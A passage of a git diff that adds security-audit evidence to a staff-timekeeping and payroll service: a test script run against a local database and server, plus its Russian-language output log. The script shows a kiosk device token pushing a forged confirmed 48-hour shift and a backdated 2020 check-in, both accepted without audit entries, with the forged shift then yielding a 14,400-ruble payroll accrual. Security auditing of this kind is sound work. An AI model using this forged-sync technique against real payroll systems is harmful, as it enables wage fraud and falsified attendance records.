fetch(`http://127.0.0.1:${PORT}/staff`); + record( + 'HDR', + 'проверка', + `GET /staff: content-security-policy="${page.headers.get('content-security-policy')}", strict-transport-security="${page.headers.get('strict-transport-security')}"`, + ); + } finally { + listener.close(); + } + } finally { + const serverErrors = server.stderrText(); + await stop(server); + if (serverErrors.trim()) console.log(`server stderr: ${brief(serverErrors)}`); + } +} + +await scenarioOpenMode('manager'); +await scenarioOpenMode('employee'); +await scenarioWithTokens(); +console.log('\nJSON', JSON.stringify(results)); diff --git a/docs/audit/2026-09-26/evidence/live-sync.mjs.txt b/docs/audit/2026-09-26/evidence/live-sync.mjs.txt new file mode 100644 index 0000000..555d066 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/live-sync.mjs.txt @@ -0,0 +1,213 @@ +// Live check of the offline sync branch (5ee7517) on a real PostgreSQL 17. +import { createRequire } from 'node:module'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; + +const REPO = 'C:/Users/Ochenstarik/Agent_projects/krona-staff-sync'; +const require = createRequire(`${REPO}/package.json`); +const pg = require('pg'); +const { ulid } = require('ulid'); + +const SUPER = 'postgres://postgres:audit-superuser@127.0.0.1:55432/krona_staff_sync'; +const APP = 'postgres://krona_staff_app:audit-app-password@127.0.0.1:55432/krona_staff_sync'; +const PORT = 18081; +const BASE = `http://127.0.0.1:${PORT}/api/v1/staff`; +const TENANT = ulid(); +const MANAGER_TOKEN = randomBytes(32).toString('base64url'); +const TERMINAL_TOKEN = randomBytes(32).toString('base64url'); + +async function superQuery(sql, params = []) { + const client = new pg.Client({ connectionString: SUPER }); + await client.connect(); + try { + return await client.query(sql, params); + } finally { + await client.end(); + } +} + +async function call(method, path, { token, body } = {}) { + const response = await fetch(`${BASE}${path}`, { + method, + headers: { + ...(body !== undefined ? { 'content-type': 'application/json' } : {}), + ...(token ? { authorization: `Bearer ${token}` } : {}), + }, + body: body !== undefined ? JSON.stringify(body) : undefined, + }); + const text = await response.text(); + try { + return { status: response.status, json: JSON.parse(text) }; + } catch { + return { status: response.status, json: text }; + } +} + +const brief = (value) => { + const text = typeof value === 'string' ? value : JSON.stringify(value); + return text.length > 260 ? `${text.slice(0, 260)}…` : text; +}; + +// S9: deleting an org unit referenced by a sync device +const s9Unit = ulid(); +const s9Device = ulid(); +await superQuery(`INSERT INTO staff_org_units (id, tenant_id, code, name) VALUES ($1, $2, 's9', 'S9')`, [ + s9Unit, + TENANT, +]); +const deviceColumns = ( + await superQuery( + `SELECT column_name, is_nullable, column_default FROM information_schema.columns + WHERE table_name = 'staff_sync_devices' ORDER BY ordinal_position`, + ) +).rows; +const values = { + id: s9Device, + tenant_id: TENANT, + device_code: 's9-device', + name: 'S9', + token_hash: 'a'.repeat(64), + token_hint: 'hint', + org_unit_id: s9Unit, + created_by: ulid(), + status: 'active', +}; +const insertable = deviceColumns.filter( + (column) => values[column.column_name] !== undefined, +); +await superQuery( + `INSERT INTO staff_sync_devices (${insertable.map((c) => c.column_name).join(', ')}) + VALUES (${insertable.map((_, index) => `$${index + 1}`).join(', ')})`, + insertable.map((column) => values[column.column_name]), +).catch((error) => console.log(`S9 setup: ${error.code} ${error.message}`)); +try { + await superQuery(`DELETE FROM staff_org_units WHERE id = $1`, [s9Unit]); + console.log('[S9] не подтверждено — точку с привязанным устройством удалить удалось'); +} catch (error) { + console.log(`[S9] ПОДТВЕРЖДЕНО — удаление точки с устройством → ${error.code} ${error.message}`); +} + +// Seed an employee and a unit for S1 +const orgUnit = ulid(); +const employee = ulid(); +await superQuery( + `INSERT INTO staff_org_units (id, tenant_id, code, name) VALUES ($1, $2, 'sync-unit', 'Точка')`, + [orgUnit, TENANT], +); +await superQuery( + `INSERT INTO staff_employees (id, tenant_id, personnel_number, display_name, status) + VALUES ($1, $2, 'S-001', 'Сотрудник Синхронизации', 'active')`, + [employee, TENANT], +); + +const server = spawn(process.execPath, ['node_modules/tsx/dist/cli.mjs', 'src/server.ts'], { + cwd: REPO, + env: { + ...process.env, + NODE_ENV: 'development', + HOST: '127.0.0.1', + PORT: String(PORT), + LOG_LEVEL: 'silent', + STAFF_RUNTIME_MODE: 'standalone', + STANDALONE_ACCESS: 'employee', + STANDALONE_MANAGER_TOKEN: MANAGER_TOKEN, + STANDALONE_TERMINAL_TOKEN: TERMINAL_TOKEN, + DATABASE_URL: APP, + STANDALONE_TENANT_ID: TENANT, + STANDALONE_ACTOR_ID: ulid(), + }, + stdio: 'ignore', +}); + +try { + for (let attempt = 0; attempt < 120; attempt += 1) { + try { + if ((await fetch(`${BASE}/live`)).ok) break; + } catch {} + await new Promise((resolve) => setTimeout(resolve, 500)); + } + + const registered = await call('POST', '/sync/devices', { + token: MANAGER_TOKEN, + body: { device_code: 'kiosk-1', name: 'Киоск', org_unit_id: orgUnit }, + }); + const deviceToken = registered.json?.token; + console.log(`device registration → ${registered.status}; scopes ${JSON.stringify(registered.json?.device?.allowed_scopes)}`); + + const forged = await call('POST', '/sync/push', { + token: deviceToken, + body: { + commands: [ + { + command_type: 'upsert_work_session', + schema_version: 1, + idempotency_key: `forge-${Date.now()}`, + correlation_id: ulid(), + created_at: new Date().toISOString(), + payload: { + employee_id: employee, + org_unit_id: orgUnit, + business_date: '2026-09-15', + worked_minutes: 2880, + status: 'confirmed', + }, + }, + { + command_type: 'record_attendance', + schema_version: 1, + idempotency_key: `old-${Date.now()}`, + correlation_id: ulid(), + created_at: new Date().toISOString(), + payload: { + employee_id: employee, + event_type: 'check_in', + occurred_at: '2020-01-01T00:00:00Z', + }, + }, + ], + }, + }); + console.log(`device push → ${forged.status} ${brief(forged.json)}`); + + const session = await superQuery( + `SELECT status, worked_minutes, confirmed_by, correction_note + FROM staff_work_sessions WHERE tenant_id = $1 AND employee_id = $2 AND business_date = '2026-09-15'`, + [TENANT, employee], + ); + const oldEvent = await superQuery( + `SELECT occurred_at FROM staff_attendance_events + WHERE tenant_id = $1 AND employee_id = $2 AND occurred_at < '2021-01-01'`, + [TENANT, employee], + ); + const audit = await superQuery( + `SELECT count(*)::int AS entries FROM staff_audit_log WHERE tenant_id = $1`, + [TENANT], + ); + const row = session.rows[0]; + console.log( + `[S1] ${row?.status === 'confirmed' ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено'} — смена от устройства: статус ${row?.status}, минут ${row?.worked_minutes}, подтвердил ${row?.confirmed_by ?? 'никто'}, записей в журнале аудита арендатора: ${audit.rows[0].entries}`, + ); + console.log( + `[S2] ${oldEvent.rowCount > 0 ? 'ПОДТВЕРЖДЕНО' : 'не подтверждено'} — отметка с временем 2020-01-01 через синхронизацию сохранена: ${oldEvent.rowCount > 0}`, + ); + + // The forged session flows into payroll (outbox default only in this throwaway database, see N2) + await superQuery('ALTER TABLE staff_outbox ALTER COLUMN occurred_at SET DEFAULT now()'); + try { + const rules = await call('GET', '/pay-rules', { token: MANAGER_TOKEN }); + const hourly = (rules.json?.pay_rules ?? []).find((rule) => /hour/.test(rule.code)); + await call('PUT', `/employees/${employee}/pay-assignment`, { + token: MANAGER_TOKEN, + body: { pay_rule_id: hourly?.id, org_unit_id: orgUnit, rate_minor: 30000, effective_from: '2026-09-01' }, + }); + const run = await call('POST', '/payroll/calculate', { token: MANAGER_TOKEN, body: { month: '2026-09' } }); + const total = run.json?.total_accrued_minor ?? run.json?.totals?.accrued_minor; + console.log( + `[S1→payroll] расчёт сентября → ${run.status}; начислено по поддельной смене: ${total !== undefined ? Number(total) / 100 : brief(run.json)} ₽ (48 ч × 300 ₽)`, + ); + } finally { + await superQuery('ALTER TABLE staff_outbox ALTER COLUMN occurred_at DROP DEFAULT'); + } +} finally { + server.kill(); +} diff --git a/docs/audit/2026-09-26/evidence/live-sync.txt b/docs/audit/2026-09-26/evidence/live-sync.txt new file mode 100644 index 0000000..3455de7 --- /dev/null +++ b/docs/audit/2026-09-26/evidence/live-sync.txt @@ -0,0 +1,5 @@ +[S9] ПОДТВЕРЖДЕНО — удаление точки с устройством → 23502 null value in column "tenant_id" of relation "staff_sync_devices" violates not-null constraint +device push → 200 {"results":[{"idempotency_key":"forge-1790405052967","command_type":"upsert_work_session","status":"applied","result":{"id":"01M3E7A2JB9PQ3YZQ4J5TE2V49","revision":1,"status":"applied"}},{"idempotency_key":"old-1790405052969","command_type":"record_attendance"… +[S1] ПОДТВЕРЖДЕНО — смена от устройства: статус confirmed, минут 2880, подтвердил никто, записей в журнале аудита арендатора: 0 +[S2] ПОДТВЕРЖДЕНО — отметка с временем 2020-01-01 через синхронизацию сохранена: true +[S1→payroll] расчёт сентября → 200; начислено по поддельной смене: 14400 ₽ (48 ч × 300 ₽)